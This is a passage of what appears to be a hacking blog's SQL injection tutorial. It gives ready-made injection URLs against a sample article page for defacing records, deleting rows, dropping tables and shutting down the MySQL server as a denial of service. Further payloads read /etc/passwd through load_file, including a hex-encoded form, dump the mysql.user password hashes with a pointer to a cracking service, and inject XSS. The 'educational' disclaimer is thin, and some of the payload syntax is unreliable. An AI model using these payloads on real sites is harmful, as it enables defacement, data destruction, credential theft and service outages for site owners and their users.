<div class="MsoNormal" style="text-align: justify;">
First let me list these commands:</div>
<div class="MsoNormal" style="text-align: justify;">
UPDATE: It is used to edit infos already in the db without deleting any rows.</div>
<div class="MsoNormal" style="text-align: justify;">
DELETE: It is used to delete the contents of one or more fields.</div>
<div class="MsoNormal" style="text-align: justify;">
DROP: It is used completely delete a table & all its associated data.</div>
<div class="MsoNormal" style="text-align: justify;">
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.</div>
<div class="MsoNormal" style="text-align: justify;">
Command Usage:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">UPDATE:</span></u></i></b> Our vulnerable page is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Lets say the query is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">SELECT title,data,author FROM article WHERE id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.</div>
<div class="MsoNormal" style="text-align: justify;">
So we would do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='Hacked By Hardeep'/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or, u could alternatively do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY Hardeep',data='Ur site has zero security',author='Hardeep'/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
By executing first query, we have set the title value as 'Hacked By Hardeep' in the table article while in second query, we have updated all three fields title, data, & author in the table article.</div>
<div class="MsoNormal" style="text-align: justify;">
Sometimes, u may want to change the specific page with id=5. For this u will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5</span></i></b><span style="color: #00b0f0;">/*</span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">DELETE:</span></u></i></b> As already stated, this deletes the content of one or more fields permanently from the db server.</div>
<div class="MsoNormal" style="text-align: justify;">
The syntax is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or if u want to delete these fields from the id=5, u will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">DROP</span></u></i></b>:This is another deadly command u can use. With this, u can delete a table & all its associated data.</div>
<div class="MsoNormal" style="text-align: justify;">
For this, we make our URL as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 DROP TABLE article/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This would delete table article & all its contents.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Finally, I want to say little about ;</div>
<div class="MsoNormal" style="text-align: justify;">
Though I have not used this in my tutorial, u can use it to end ur first query and start another one.</div>
<div class="MsoNormal" style="text-align: justify;">
This ; can be kept at the end of our first query so that we can start new query after it.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">SHUTTING DOWN MySQL SERVER:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;</div>
<div class="MsoNormal" style="text-align: justify;">
So, you would craft a query which would execute the above command...</div>
<div class="MsoNormal" style="text-align: justify;">
For example, in my case, I would do the following:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b050;">LOADFILE:</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..</div>
<div class="MsoNormal" style="text-align: justify;">
Do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
But sometimes, you will have to hex the part & do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
where I have hexed... Now, if we are lucky, the scriptblock would echo the etc/passwd in the result..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">MySQL ROOT:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..</div>
<div class="MsoNormal" style="text-align: justify;">
For this, you will do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But http://www.insidepro.com has one to do it..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">INALIZING THE INJECTION TUTORIAL:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT <scblockedript>alert("XSS via SQL injection");</scblockedript>,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Again in the above injection, you may require to hex up the javascriptblock part for bypassing the magic quotes..</div>
<div class="MsoNormal" style="text-align: justify;">
Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..</div>
<div class="MsoNormal" style="text-align: justify;">
In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...</div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">MAJOR MySQL COMMANDS:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..</div>
<div class="MsoNormal" style="text-align: justify;">
All the commands here are copy pasted from the post at http://www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..</div>
<div class="MsoNormal" style="text-align: justify;">
ABORT -- abort the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER DATABASE -- change a database</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER GROUP -- add users to a group or remove users from a group</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER TABLE -- change the definition of a table</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER TRIGGER -- change the definition of a trigger</div>
<div class="MsoNormal" style="text-align: justify;">
ALTER USER -- change a database user account</div>
<div class="MsoNormal" style="text-align: justify;">
ANALYZE -- collect statistics about a database</div>
<div class="MsoNormal" style="text-align: justify;">
BEGIN -- start a transaction block</div>
<div class="MsoNormal" style="text-align: justify;">
CHECKPOINT -- force a transaction log checkpoint</div>
<div class="MsoNormal" style="text-align: justify;">
CLOSE -- close a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
CLUSTER -- cluster a table according to an index</div>
<div class="MsoNormal" style="text-align: justify;">
COMMENT -- define or change the comment of an object</div>
<div class="MsoNormal" style="text-align: justify;">
COMMIT -- commit the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
COPY -- copy data between files and tables</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE AGGREGATE -- define a new aggregate function</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CAST -- define a user-defined cast</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE CONVERSION -- define a user-defined conversion</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE DATABASE -- create a new database</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE DOMAIN -- define a new domain</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE FUNCTION -- define a new function</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE GROUP -- define a new user group</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE INDEX -- define a new index</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE LANGUAGE -- define a new procedural language</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE OPERATOR -- define a new operator</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE OPERATOR CLASS -- define a new operator class for indexes</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE RULE -- define a new rewrite rule</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE SCHEMA -- define a new schema</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE SEQUENCE -- define a new sequence generator</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TABLE -- define a new table</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TABLE AS -- create a new table from the results of a query</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TRIGGER -- define a new trigger</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE TYPE -- define a new data type</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE USER -- define a new database user account</div>
<div class="MsoNormal" style="text-align: justify;">
CREATE VIEW -- define a new view</div>
<div class="MsoNormal" style="text-align: justify;">
DEALLOCATE -- remove a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
DECLARE -- define a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
DELETE -- delete rows of a table</div>
<div class="MsoNormal" style="text-align: justify;">
DROP AGGREGATE -- remove a user-defined aggregate function</div>
<div class="MsoNormal" style="text-align: justify;">
DROP CAST -- remove a user-defined cast</div>
<div class="MsoNormal" style="text-align: justify;">
DROP CONVERSION -- remove a user-defined conversion</div>
<div class="MsoNormal" style="text-align: justify;">
DROP DATABASE -- remove a database</div>
<div class="MsoNormal" style="text-align: justify;">
DROP DOMAIN -- remove a user-defined domain</div>
<div class="MsoNormal" style="text-align: justify;">
DROP FUNCTION -- remove a user-defined function</div>
<div class="MsoNormal" style="text-align: justify;">
DROP GROUP -- remove a user group</div>
<div class="MsoNormal" style="text-align: justify;">
DROP INDEX -- remove an index</div>
<div class="MsoNormal" style="text-align: justify;">
DROP LANGUAGE -- remove a user-defined procedural language</div>
<div class="MsoNormal" style="text-align: justify;">
DROP OPERATOR -- remove a user-defined operator</div>
<div class="MsoNormal" style="text-align: justify;">
DROP OPERATOR CLASS -- remove a user-defined operator class</div>
<div class="MsoNormal" style="text-align: justify;">
DROP RULE -- remove a rewrite rule</div>
<div class="MsoNormal" style="text-align: justify;">
DROP SCHEMA -- remove a schema</div>
<div class="MsoNormal" style="text-align: justify;">
DROP SEQUENCE -- remove a sequence</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TABLE -- remove a table</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TRIGGER -- remove a trigger</div>
<div class="MsoNormal" style="text-align: justify;">
DROP TYPE -- remove a user-defined data type</div>
<div class="MsoNormal" style="text-align: justify;">
DROP USER -- remove a database user account</div>
<div class="MsoNormal" style="text-align: justify;">
DROP VIEW -- remove a view</div>
<div class="MsoNormal" style="text-align: justify;">
END -- commit the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
EXECUTE -- execute a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
EXPLAIN -- show the execution plan of a statement</div>
<div class="MsoNormal" style="text-align: justify;">
FETCH -- retrieve rows from a table using a cursor</div>
<div class="MsoNormal" style="text-align: justify;">
GRANT -- define access privileges</div>
<div class="MsoNormal" style="text-align: justify;">
INSERT -- create new rows in a table</div>
<div class="MsoNormal" style="text-align: justify;">
LISTEN -- listen for a notification</div>
<div class="MsoNormal" style="text-align: justify;">
LOAD -- load or reload a shared library file</div>
<div class="MsoNormal" style="text-align: justify;">
LOCK -- explicitly lock a table</div>
<div class="MsoNormal" style="text-align: justify;">
MOVE -- position a cursor on a specified row of a table</div>
<div class="MsoNormal" style="text-align: justify;">
NOTIFY -- generate a notification</div>
<div class="MsoNormal" style="text-align: justify;">
PREPARE -- create a prepared query</div>
<div class="MsoNormal" style="text-align: justify;">
REINDEX -- rebuild corrupted indexes</div>
<div class="MsoNormal" style="text-align: justify;">
RESET -- restore the value of a run-time parameter to a default value</div>
<div class="MsoNormal" style="text-align: justify;">
REVOKE -- remove access privileges</div>
<div class="MsoNormal" style="text-align: justify;">
ROLLBACK -- abort the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SELECT -- retrieve rows from a table or view</div>
<div class="MsoNormal" style="text-align: justify;">
SELECT INTO -- create a new table from the results of a query</div>
<div class="MsoNormal" style="text-align: justify;">
SET -- change a run-time parameter</div>
<div class="MsoNormal" style="text-align: justify;">
SET CONSTRAINTS -- set the constraint mode of the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session</div>
<div class="MsoNormal" style="text-align: justify;">
SET TRANSACTION -- set the characteristics of the current transaction</div>
<div class="MsoNormal" style="text-align: justify;">
SHOW -- show the value of a run-time parameter</div>
<div class="MsoNormal" style="text-align: justify;">
START TRANSACTION -- start a transaction block</div>
<div class="MsoNormal" style="text-align: justify;">
TRUNCATE -- empty a table</div>
<div class="MsoNormal" style="text-align: justify;">
UNLISTEN -- stop listening for a notification</div>
<div class="MsoNormal" style="text-align: justify;">
UPDATE -- update rows of a table</div>
<div class="MsoNormal" style="text-align: justify;">
VACUUM -- garbage-collect and optionally analyze a database</div>
<div class="MsoNormal" style="text-align: justify;">
<i><u><span style="color: red;">Disclaimer</span></u></i></div>
<div class="MsoNormal" style="text-align: justify;">
This tutorial is for educational purpose only. The Author does not have any responsibility if the content in this tutorial is misused.     <b><i><u><span style="color: #e36c0a;">"ILLEGAL USAGE OF THESE KNOWLEDGE MAY LEAD TO SERIOUS RESULTS"</span></u></i></b></div>
</div>

Hacking Tutorials MySQL SQL Injection Tutorials SQL Injection Complete

MySQL injection tutorial (Complete) TABLE OF CONTENT: #INTRO #WHAT IS DATABASE? #WHAT IS S...

Setup IP PBX for small business step by step

Caller ID Spoofing with Asterisk

Make Keylogger and Trojan Fully Undetectable (FUD)

SSH Cheat Sheet

SQL Injection Complete

Popular

Comments

Archive